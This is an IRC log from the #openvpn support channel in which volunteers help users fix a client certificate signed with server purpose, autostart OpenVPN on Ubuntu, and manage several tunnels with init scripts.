10:19 -!- b1rkh0ff [~b1rkh0ff@109.163.163.189] has joined #openvpn
10:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
10:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
10:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
10:25 -!- mode/#openvpn [+o krzee] by ChanServ
10:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:41 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
10:42 -!- DrCode_ is now known as DrCode
10:50 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Quit: Lost terminal]
10:53 -!- irksome [~root@host-92-20-171-234.as13285.net] has joined #openvpn
10:54 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 240 seconds]
10:56 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
10:57 < irksome> hi.  Is the openVPN connect client source available?  Or is it just the server?
11:01 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 240 seconds]
11:01 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has joined #openvpn
11:02 -!- APTX [~APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
11:07 <@krzee> irksome, openvpn connect is not opensource
11:07 <@krzee> community openvpn is
11:10 < irksome> ok thanks.  Do you know if there are any open source windows clients available? (or a command line one that I could create a wrapper for...)
11:10 <@krzee> !download
11:10 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:10 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:10 <@krzee> #1
11:10 <@krzee> that is community openvpn ^
11:10 <@krzee> (what we support here)
11:11 <@krzee> and since you want source:
11:11 <@krzee> !git
11:11 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git
11:11 <@krzee> (in case you want most up to date code)
11:14 < irksome> ok thanks.
11:16 < irksome> the fact that there is a seperate client for download made me think there were two different bits of software. I understand now.
11:18 <@krzee> ya the open source version uses the same install for client or server depending on config
11:19 <@krzee> the $$ version has seperate client and server
11:19 <@krzee> !as
11:19 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:19 <@krzee> thats the $ version, comes with support and makes setups REALLY easy
11:20 <@krzee> or thats the goal… i havnt actually used it
11:23 < irksome> I'm just trying to learn about vpns at the moment, so will leave AS for when I get a job :)
11:23 -!- u0m3 [~Radu@109.96.140.34] has quit [Read error: Connection reset by peer]
11:27 -!- u0m3 [~Radu@92.80.109.202] has joined #openvpn
11:30 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
11:38 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has quit [Quit: Orbi]
11:40 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
11:46 -!- ryanstop [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:46 -!- ryanstop [~Valcorb@94-227-38-227.access.telenet.be] has quit [Client Quit]
11:47 -!- ryanstop [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:49 -!- irksome [~root@host-92-20-171-234.as13285.net] has left #openvpn []
11:49 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 252 seconds]
11:57 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 252 seconds]
12:12 -!- ryanstop [~Valcorb@94-227-38-227.access.telenet.be] has quit []
12:12 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
12:15 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:45 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Ping timeout: 245 seconds]
12:48 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
12:51 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 244 seconds]
12:53 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
12:53 -!- raidz_away is now known as raidz
12:53 -!- raidz [~raidz@raidz.im] has quit [Changing host]
12:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
12:53 -!- mode/#openvpn [+o raidz] by ChanServ
13:02 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
13:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:04 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit []
13:48 <@krzee> !route
13:48 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
14:02 -!- brute11k1 [~brute11k@89.249.235.57] has joined #openvpn
14:03 -!- brute11k [~brute11k@89.249.230.213] has quit [Ping timeout: 244 seconds]
14:10 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Read error: Connection reset by peer]
14:12 -!- Porkepix [~Porkepix@lns-bzn-24-82-64-185-50.adsl.proxad.net] has quit [Ping timeout: 245 seconds]
14:15 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
14:17 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 276 seconds]
14:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
14:37 -!- Devastator [~devas@177.18.199.61] has joined #openvpn
14:37 -!- Devastator [~devas@177.18.199.61] has quit [Read error: Connection reset by peer]
14:39 -!- Devastator [~devas@177.18.199.61] has joined #openvpn
14:39 -!- Devastator [~devas@177.18.199.61] has quit [Changing host]
14:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:40 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
14:47 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
14:50 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 245 seconds]
15:09 -!- ag4ve [~ag4ve@96.26.67.194] has quit [Ping timeout: 245 seconds]
15:16 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:17 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
15:20 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
15:38 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
15:38 -!- khem_ is now known as william_
15:55 -!- brute11k1 [~brute11k@89.249.235.57] has quit [Quit: Leaving.]
16:04 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Read error: Connection reset by peer]
16:10 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:27 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
16:44 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
16:55 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Remote host closed the connection]
17:05 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 276 seconds]
17:08 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
17:09 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 244 seconds]
17:10 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
17:12 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
17:16 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 255 seconds]
17:26 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
17:34 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
17:42 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
17:42 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Remote host closed the connection]
17:49 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Read error: Connection reset by peer]
17:50 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
18:14 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
18:39 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
18:41 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has quit [Changing host]
18:41 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
18:41 -!- mode/#openvpn [+v hazardous] by ChanServ
20:26 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:00 -!- midkniht [~midkniht@cpe-70-112-107-27.austin.res.rr.com] has joined #openvpn
21:00 < midkniht> http://pastebin.com/4JxAykbw
21:00 < midkniht> anyone help me diagnose my cert tls issue here?
21:03 < midkniht> i used easy-rsa/2.0 to create the certs for the server and client
21:03 < midkniht> i really dont know enough to read those errors
21:09 <+pekster> Sounds like you've used the incorrect cert on one side of the connection (using a server cert as a client, or vise-versa) or possibly referenced the wrong cert as your CA in one side of the config
21:11 < midkniht> well, ok that is possible
21:12 < midkniht> when i distribute the key and crt for the client should i not include the servers ca.crt?
21:12 < midkniht> i thought i had to
21:12 <+pekster> Try increasing the verbosity to 'verb 4' and the logs may have more detail. Otherwise, send the cert the client is using over to the server and run 'openssl verify -verbose -CAfile ca.crt -purpose sslclient your_client_cert.crt'
21:13 <+pekster> midkniht: There is no such thing as the "server ca.crt." The CA is the PKI's root certificate. The CA issues *all* the certs, including that of all clients and servers
21:13 <+pekster> You need the CA cert as the reference in your --ca directive for OpenVPN, not a server or client cert
21:13 <+pekster> !pki
21:13 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
21:13 <@vpnHelper> signed specially as a server (see !servercert)
21:14 < midkniht> ok for a client, should it not need a ca.crt specified?
21:14 <+pekster> Both sides need the ca.crt available and referenced
21:14 < midkniht> right i signed all the certs on the same machine with the ca.key
21:15 < midkniht> i used the same ca.crt on the client that i generated on the server
21:15 < midkniht> is that where i am making a mistage?
21:15 < midkniht> mistake
21:15 <+pekster> Can you restart your server with 'verb 4' and post the full portion of the certificate verification sequence?
21:16 <+pekster> That should tell in more detail what's broken
21:16 < midkniht> did that, it wasnt anything new
21:16 < midkniht> but i will
21:16 < midkniht> hold on
21:17 <+pekster> Be sure you restart the service after adding 'verb 4' to the config since it won't pick it up otherwise
21:17 < midkniht> http://pastebin.com/Stw7TTKp
21:18 < midkniht> pekster: see what im saying nothing new
21:18 <+pekster> CN=karma, is that your client?
21:18 < midkniht> \yes
21:18 < midkniht> shouldbe fqdn
21:19 < midkniht> ?
21:19 <+pekster> No, it doesn't matter, I just want to make sure that's what you're expecting as the client name (your CN can be whatever you like.)
21:20 < midkniht> karma is client, laney is server
21:20 <+pekster> Can you paste the server config? It's choking on some missing/invalid cert purpose, so the config should point to what it wants (then we'll check your client cert)
21:20 < midkniht> sure
21:20 < midkniht> http://pastebin.com/Mm4498eY
21:20 < midkniht> server conf
21:21 < midkniht> http://pastebin.com/j6xtpM0L - client conf
21:21 < midkniht> ca.crt is the same on both
21:24 <+pekster> You shouldn't have 'ns-cert-type server' in your server config. It appears to be commented out (line 18) but that directive neds to check for a client cert, not a server cert
21:24 < midkniht> so delete that commented line
21:25 < midkniht> done
21:25 <+pekster> Well, if it's commented it won't matter, (normally you *do* want to check that on both sides) but it's commented, so if it's using that config it won't matter
21:25 <+pekster> !mitm
21:25 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
21:25 < midkniht> i used easy-rsa build-key-server
21:25 <+pekster> (that's the how and the why, for a full understanding. Not really relevant right now)
21:26 < midkniht> so i dont need it on the client side either?
21:26 <+pekster> You should definiatly do server-cert verification client side
21:26 < midkniht> k
21:26 <+pekster> That link the bot pasted above explains why
21:26 < midkniht> noted
21:26 <+pekster> But, the client sin't the one spewing errors, right?
21:26 < midkniht> no
21:27 < midkniht> i could make it verbose if you like
21:27 <+pekster> Okay, let's check the client cert. Can you send the client cert to the server, and then run 'openssl verify -verbose -CAfile ca.crt -purpose sslclient karma.crt' on the server?
21:29 < midkniht> i got the same errror
21:29 < midkniht> i think we are on to something now
21:29 <+pekster> And nothing more verbose? :\
21:29 < midkniht> root@laney:/etc/openvpn# openssl verify -verbose -CAfile ca.crt -purpose sslclient easy-rsa/2.0/keys/karma.crt
21:29 < midkniht> easy-rsa/2.0/keys/karma.crt: /C=US/ST=TX/L=Austin/O=Administr8/Duuit!/CN=karma/emailAddress=support@administr8.me
21:29 < midkniht> error 26 at 0 depth lookup:unsupported certificate purpose
21:29 < midkniht> OK
21:29 <+pekster> Hmm
21:29 <+pekster> Allright, pastebin 'openssl x509 -in karma.crt -noout -text'
21:29 <+pekster> Let's see what's up with that cert
21:30 < midkniht> http://pastebin.com/sBnvcH1f
21:31 <+pekster> That cert is signed as a server, not a client (line 41 on that output)
21:31 <+pekster> Further, it's usually a really bad idea to use special symbols like slashes and puncuation in your CN field
21:34 < midkniht> recreating
21:34 < EugeneKay> It's allowed, just stupid.
21:34 <+pekster> Yea. I didn't say invalid, just bad idea (it'll cause you all sorts of headaches down the road, like if you use the CN to do per-client rules or ccd's)
21:35 <+pekster> Plus it'll make poorly-written shell scripts do unexpected things ;)
21:35 <+pekster> You'd need to re-create the entire PKI to fix that midkniht, since your CA has symbols in its CN too
21:35 < midkniht> how to clear the db?
21:36 <+pekster> Plus the Org field
21:36 < midkniht> i edited vars to fix it
21:36 < midkniht> but i want to erase the store
21:36 < midkniht> rm keys/*
21:36 < midkniht> ?
21:36 <+pekster> The clean-all will clear the entire PKI
21:37 <+pekster> Run that script and it'll give you a "fresh" PKI by removing everything you've set up thus far
21:37 < midkniht> perfect
21:37 < midkniht> thanks
21:37 <+pekster> And if you've messed with openssl.cnf at all be sure you return it to a stock setup
21:38 <+pekster> The important thing is to get the client cert generated with client values, not server ones (ie: don't use build-key-server for your client)
21:38 <+pekster> Somehow that's what you did last time
21:42 < midkniht> that did
21:42 < midkniht> it
21:42 < midkniht> thanks pekster
21:42 < midkniht> i send you virtual cookies and tacos
21:43 <+pekster> A virtual beer would be better (I just finished my last real-world one...)
21:43  * midkniht beers pekster 
21:43 <+pekster> I guess there's always the Canadian Whiskey on the shelf...)
22:18 -!- b1rkh0ff [~b1rkh0ff@109.163.163.189] has quit [Ping timeout: 245 seconds]
22:19 -!- b1rkh0ff [~b1rkh0ff@31.176.186.83] has joined #openvpn
22:34 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
22:39 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
22:42 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Read error: Operation timed out]
23:31 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
23:47 -!- Cpt-Oblivious is now known as FemaleVaccumStal
23:47 -!- FemaleVaccumStal is now known as Cpt-Oblivious
--- Day changed Mon Jan 28 2013
00:01 -!- osirisx11 [~osiris@93.114.44.253] has joined #openvpn
00:01 < osirisx11> hi all, how can i start an openvpn connection after my wifi connects?
00:02 < osirisx11> (automatically)
00:03 <+pekster> By running the openvpn command from whatever facility your OS provides for post-connection process execution when the interface is up
00:10 <@krzee> by leaving it running all the time and just letting it connect when you get online
00:11 <@krzee> unless you mean you ONLY want it on wifi, as opposed to via ethernet
00:12 < ngharo> how do ya'll manage multiple tunnels?  i just throw my configs in and let the init script start em all
00:12 <@krzee> depends on the os
00:13 < ngharo> but been thinking of a way to turn off individual tunnels on demand
00:13 <+pekster> My disto of choice (gentoo) already does that in its initscripts
00:13 < ngharo> right now i just kill pid manually
00:13 <@krzee> !management
00:13 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
00:13 <+pekster> You just symlink openvpn.name -> openvpn and the initscript figures out what config you want from the .name portion
00:14 <+pekster> ngharo: Check out Gentoo's initscripts if you want some ideas on how to extend that to your OS. I did something similar for the OpenWRT platform based on symlinks and bash scripting
00:14 < ngharo> will do
00:14 <+pekster> It's actaully really simple once you understand how it works
00:14 < osirisx11> krzee: thanks i like your idea i would love for it to stalk my connection and autoconnect anytime i go online anywhere, how can i do this? (ubuntu)
00:14 <@krzee> depending on your needs you could do anything from use the built in os commands for starting / stopping daemons, to building your own command center in your fav language that intercts with management interface
00:14 <+pekster> I have no clue why this isn't the default way to do things on other distros
00:15 < ngharo> pekster: can you give me an example on usage?  do you `/etc/init.d/openvpn start foobar'
00:15 <+pekster> ngharo: /etc/init.d/openvpn.config1 start
00:15 <@krzee> osirisx11, its more or less normal, just make sure your configs are set with a keepalive, retry forever, maybe some persist options
00:15 <@krzee> !confgen
00:15 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
00:15 < ngharo> ohh, pekster gotcha.
00:15 <+pekster> /etc/init.d/openvpn.config1 is just a symlink to /etc/init.d/openvpn
00:15 <@krzee> osirisx11, the configs from that should be fine ^
00:15 <@krzee> osirisx11, or !sample
00:15 < ngharo> ringing some bells back from my gentoo days.  net.eth0, net.eth1... etc scripts
00:15 <+pekster> ngharo: Obviously the bash in the initscript is smart enough to parse out the "config1" part of that (ie: everything after the "openvpn." part and treat it as a config file
00:15 < ngharo> pekster: thanks
00:16 <+pekster> If you're a competient scripter, it should be trivial to design that same thing for your platform. If you need some hints, just go to gentoo's svn sources and see what they've done
00:16 <@krzee> pekster, that is similar to the freebsd way, you cp the script with .name and then configure it in rc.conf
00:17 <+pekster> IIRC, something like ${0#*.} is a good place to start tinkering
00:17 <+pekster> krzee: Yes, netbsd/fbsd does things similar to gentoo. This is why I prefer gentoo over most other lsb/sysV-based crap distros ;)
00:17 <+pekster> It's much more "sane" :P
00:17 <@krzee> ++
00:17 <+pekster> Although, they lack support to interact with just one instance/pid
00:18 <@krzee> who does?
00:18 < osirisx11> krzee: sorry what is !sample?
00:18 <+pekster> NetBSD does, at least. You can set the configs you want to start in rc.conf, but you *can't* tell the initsscript to stop or HUP one, for instance
00:18 <+pekster> That's a PITA when you need to restart just a single instance, or stop it then start it later after you do something else
00:19 <@krzee> /usr/local/etc/rc.d/openvpn.name {start,stop,restart,etc}
00:19 <+pekster> Hmm, that wasn't how netbsd did it, at least in the version we used at the time last job
00:19 <@krzee> osirisx11,
00:19 <@krzee> !sample
00:19 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
00:20  * krzee pets vpnHelper 
00:20 <+pekster> NetBSD just used the '$openvpn' (or something like that) variable from rc.conf to pass to a loop and blindly started them all
00:20 < osirisx11> what do i do with that config?
00:20 <+pekster> If one died, or you wanted to stop just one, you had to hunt the pidfile down and interact with it yourself :(
00:20 < osirisx11> i already have a working openvpn config
00:20 <@krzee> havnt used netbsd
00:21 <@krzee> osirisx11, how are you starting openvpn now?
00:21 < osirisx11> nm-applet
00:21 <@krzee> oh i see
00:21 <@krzee> !ubuntu
00:21 <@vpnHelper> "ubuntu" is dont use network manager!
00:21 <@krzee> !netman
00:21 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
00:21 <@krzee> =]
00:22 <@krzee> put your working config in /etc/openvpn
00:22 <@krzee> with .conf as the file extension
00:22 <@krzee> (ubuntu's openvpn init script starts all openvpn instances)
00:22 < osirisx11> i have an ovpn
00:22 < osirisx11> and keys
00:22 <@krzee> rename ovpn to conf
00:22 < osirisx11> ovpn file extension file i mean
00:23 < osirisx11> yea? why the diff file extension in the first place?
00:23 < osirisx11> are they 1:1?
00:23 <@krzee> openvpn doesnt care, only the init script does
00:23 <@krzee> windows likes .ovpn
00:23 < osirisx11> lol windows
00:23 <@krzee> in reality, its just a text file either way
00:23 < osirisx11> sure
00:23 <+pekster> ngharo: Here's a quick-start guide to hacking your own (superior) init script: use the output of ${0#*.} to strip out the leading "*." of the called command. eg: /etc/init.d/openvpn.sample would set that bash sequence I used earlier to "sample"
00:23 < osirisx11> ok so i rename it then i put it in.. /etc/openvpn
00:23 < osirisx11> then what?
00:24 < osirisx11> thx krzee
00:24 <@krzee> tell your OS to run openvpn on boot
00:24 <@krzee> i dont run ubuntu
00:24 <+pekster> man upstart, perhaps?
00:24 -!- EugeneKay [eugene@itvends.com] has quit [Quit: ZNC - http://znc.in]
00:25 <@krzee> update-rc.d openvpn enable 2345
00:25 -!- EugeneKay [eugene@selfloath.in] has joined #openvpn
00:25 <@krzee> http://ubuntuforums.org/showthread.php?t=1609579
00:25 <@vpnHelper> Title: [ubuntu] How to autostart Openvpn server at boot ? - Ubuntu Forums (at ubuntuforums.org)
00:25 <+pekster> Every time I have to do something under Ubuntu that's trivial in Gentoo, I end up ripping my hair out ;)
00:33 < osirisx11> thanks krzee
00:34 <@krzee> np
00:34 < osirisx11> krzee: will this update nm-applet to show vpn encrypted icon?
00:35 <@krzee> doubt it
00:35 <@krzee> !netman
00:35 <@krzee> :-p
00:35 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
00:35 < osirisx11> he just said it sucked. this is not constructive
00:35 < osirisx11> what do you use to see current network status?
00:35 < osirisx11> is there a better gnome panel?
00:36 <@krzee> use netman for that, but not for your vpn
00:36 <@krzee> let openvpn run as a service
00:42 < osirisx11> ok
00:42 < osirisx11> can i have the conf be a symlink?
00:42 < osirisx11> to a portable drive
00:43 < osirisx11> i want to boot, mount drive, wait for internet and connect ovpn,
00:51 -!- osirisx11 [~osiris@93.114.44.253] has quit [Quit: Leaving.]
00:57 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has joined #openvpn
01:13 -!- vilce [~vilce@vpn.classit.ro] has joined #openvpn
01:13 < vilce> !welcome
01:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
01:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:16 < vilce> Hi guys, can I setup simultaneous connections from the same user/pass (and give different IP addresses for each connection) ?
01:17 <+pekster> vilce: Sure, see the --duplicate-cn config option
01:18 < vilce> pekster: thank you mate. and is there also the option to specify a range like /29 too ?
01:18 <+pekster> A range for what?
01:19 < vilce> let's see I want to allow 5 IP for 5 simultaneous connections for the same user "vilce"
01:19 <+pekster> If you want to cap arbitrarily like that you'd need to write your own backend logic to do that and use a --client-connect script
01:20 <+pekster> ie: manage the pool of IPs yourself and script the assigngment to connecting peers
01:20 < vilce> but it's possible what I want right ?
01:21 <+pekster> Indeed, with some scripting you can get exactly what you want
01:22 < vilce> yep, nice, I want something like home-pc/work-pc/children-pc/wife-pc/laptop to use the same user/pass to see in the "lan"
01:23 < vilce> I will keep reading about this, thanks
01:27 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
01:34 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
01:54 -!- brute11k [~brute11k@89.249.230.238] has joined #openvpn
01:54 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
02:09 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
02:18 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 255 seconds]
02:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:22 -!- midkniht [~midkniht@cpe-70-112-107-27.austin.res.rr.com] has quit [Ping timeout: 252 seconds]
02:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:30 -!- vilce [~vilce@vpn.classit.ro] has quit []
02:31 -!- blackmagic [black@got.laid.using.blackmajic.org] has joined #openvpn
02:37 -!- EugeneKay [eugene@selfloath.in] has quit [Quit: ZNC - http://znc.in]
02:51 -!- EugeneKay [EugeneKay@selfloath.in] has joined #openvpn
02:58 -!- denon [~denon@unaffiliated/denon] has quit [Ping timeout: 245 seconds]
03:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:17 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:36 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:53 -!- novaflash is now known as novaflash_away
04:10 < AsadH> get your butt back here novaflash_away !
04:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
04:24 -!- Saviq [~Saviq@sawicz.net] has quit [Changing host]
04:24 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
05:01 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
05:03 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:16 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
05:16 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
05:18 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
05:21 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
05:23 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
05:28 -!- novaflash_away is now known as novaflash
05:29 <@novaflash> yeah yeah yeah take it easy asadh
05:29 <@novaflash> i had to defeat the Ogre of Windows Update first
05:31 <+pekster> Don't feel too bad novaflash; I just had an awful time reading about this: http://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames
05:31 <@vpnHelper> Title: freedesktop.org - Software/systemd/PredictableNetworkInterfaceNames (at www.freedesktop.org)
05:31 <+pekster> Check out what my "new" network name would be for eth0 on this system: http://fpaste.org/Qa3N/
05:32 <@novaflash> oh
05:32 <@novaflash> yeah
05:32 <@novaflash> predictable
05:32 <+pekster> "predictable"
05:32 <@novaflash> i wish they'd just leave it eth0!
05:32 <+pekster> My USB-adapters would be named based on where they are connected in the USB bus/hub chain :(
05:32 <@novaflash> in 90% of the cases that's the default interface name anyways
05:32 <@novaflash> haha that's going to be fun
05:33 <+pekster> So if I plug my adpater in on the opposite side of my netbook, it gets a new iface name :(
05:33 <@novaflash> so something like usb0002enp0s18 ?
05:33 < AsadH> woo! :)
05:33 < AsadH> are you still running windows update novaflash..?
05:33 < AsadH> it's been five days
05:33 <@novaflash> nah i'm done with it
05:33 <@novaflash> yup
05:33 <+pekster> novaflash: Yea, you get samples here: http://cgit.freedesktop.org/systemd/systemd/tree/src/udev/udev-builtin-net_id.c#n20
05:33 <@vpnHelper> Title: systemd/systemd - System and Session Manager (at cgit.freedesktop.org)
05:33 <@novaflash> hahaha
05:33 <+pekster> novaflash: Check out the satanic device name on line 76 on that file
05:33 <@novaflash> wwp0s29u1u4i6
05:33 <@novaflash> lol i just found it
05:33 <+pekster> Yea
05:33 <+pekster> lmao
05:34 <@novaflash> fun times
05:34 <@novaflash> nah i just had a little problem with one particular windows update that wouldn't go because i had disabled the windows firewall services
05:34 <@novaflash> of course it doesn't tell you this
05:34 <@novaflash> and just silently fails
